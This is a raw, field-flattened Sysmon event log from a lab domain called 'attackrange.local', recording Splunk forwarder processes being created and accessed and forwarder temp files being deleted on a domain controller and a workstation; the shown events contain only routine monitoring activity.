14:56:19.162{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=8A6F5D7A1B5AEA75E80F6F1A08C97E57,SHA256=653EF2896229162AC7DF3C5F949971E33E2B856F922F755B529A76C898CA80E5,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015982Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:56:20.492{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=A6342135AD2ABF3885F7489E4F4AE4CF,SHA256=1C576BEE3BE2085B9F58EE0A6BE16DD60665B3FD95098EBDDEDB70AABB045D6B,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000048334Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:56:20.881{7BD73061-7214-613B-400B-00000000F001}52206928C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+5691a5|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+568cd6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+56657|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+56ca7|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+8f3800|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048333Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:56:20.694{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-7214-613B-400B-00000000F001}5220C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048332Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:56:20.694{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048331Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:56:20.694{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048330Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:56:20.694{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048329Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:56:20.694{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048328Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:56:20.694{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-7214-613B-400B-00000000F001}5220C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000048327Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:56:20.694{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-7214-613B-400B-00000000F001}5220C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000048326Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:56:20.694{7BD73061-7214-613B-400B-00000000F001}5220C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe8.0.2Registry monitorsplunk ApplicationSplunk Inc.splunk-regmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=91F33F605825B72EE2270559C7AB28F3,SHA256=3DF1CB71BB48B8669BD01179FD94DD8CC82F8103B08A0FACFD366E43E0C5FA42,IMPHASH=23D7D4307FBE7FA4F42B1902826D7C25{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 10341000x800000000000000048325Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:56:20.209{7BD73061-7214-613B-3F0B-00000000F001}53206900C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e675|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e1a6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+6b453|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+8e8530|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000048324Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:56:20.194{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=AF9FD2D2A8904E707725FD73E5DFEA58,SHA256=5A554F147D3645CC60DA97569F65F940DA7BB8C05CCE2E1A1D37C4061728A67B,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000048323Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:56:20.022{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-7214-613B-3F0B-00000000F001}5320C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048322Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:56:20.022{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048321Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:56:20.022{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048320Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:56:20.022{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048319Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:56:20.022{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048318Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:56:20.022{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-7214-613B-3F0B-00000000F001}5320C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000048317Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:56:20.022{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-7214-613B-3F0B-00000000F001}5320C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000048316Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:56:20.023{7BD73061-7214-613B-3F0B-00000000F001}5320C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000015983Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:56:21.492{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=425CE2B520FBE7B04C1208C7D37398BF,SHA256=EC95C9E21CF451C1584E2923D93F522FFEBA6D1FE3115FAAAEFDF49DB589AEC8,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000048344Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:56:21.741{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-7215-613B-410B-00000000F001}6920C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048343Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:56:21.741{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048342Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:56:21.741{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048341Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:56:21.741{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048340Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:56:21.741{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048339Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:56:21.741{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-7215-613B-410B-00000000F001}6920C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000048338Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:56:21.741{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-7215-613B-410B-00000000F001}6920C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000048337Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:56:21.741{7BD73061-7215-613B-410B-00000000F001}6920C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe8.0.2Windows Print Monitor splunk ApplicationSplunk Inc.splunk-winprintmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=36D3753920C5BBCA16D12DEAD7A3A904,SHA256=EA17F69FB116CFA6ADC3CE07EBBAE3FD2CB221F25E3F7A9ADF3F15DA051831E2,IMPHASH=264D4B9546D98D77D97F569F55A0B748{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000048336Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:56:21.412{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=E3BEA33815C65B9390121243D8723A75,SHA256=9C5458035E8DFBAD24A9F4F54AB4F45FA54806C09CD5C30B1ED9A7C687AF97AE,IMPHASH=00000000000000000000000000000000falsetrue 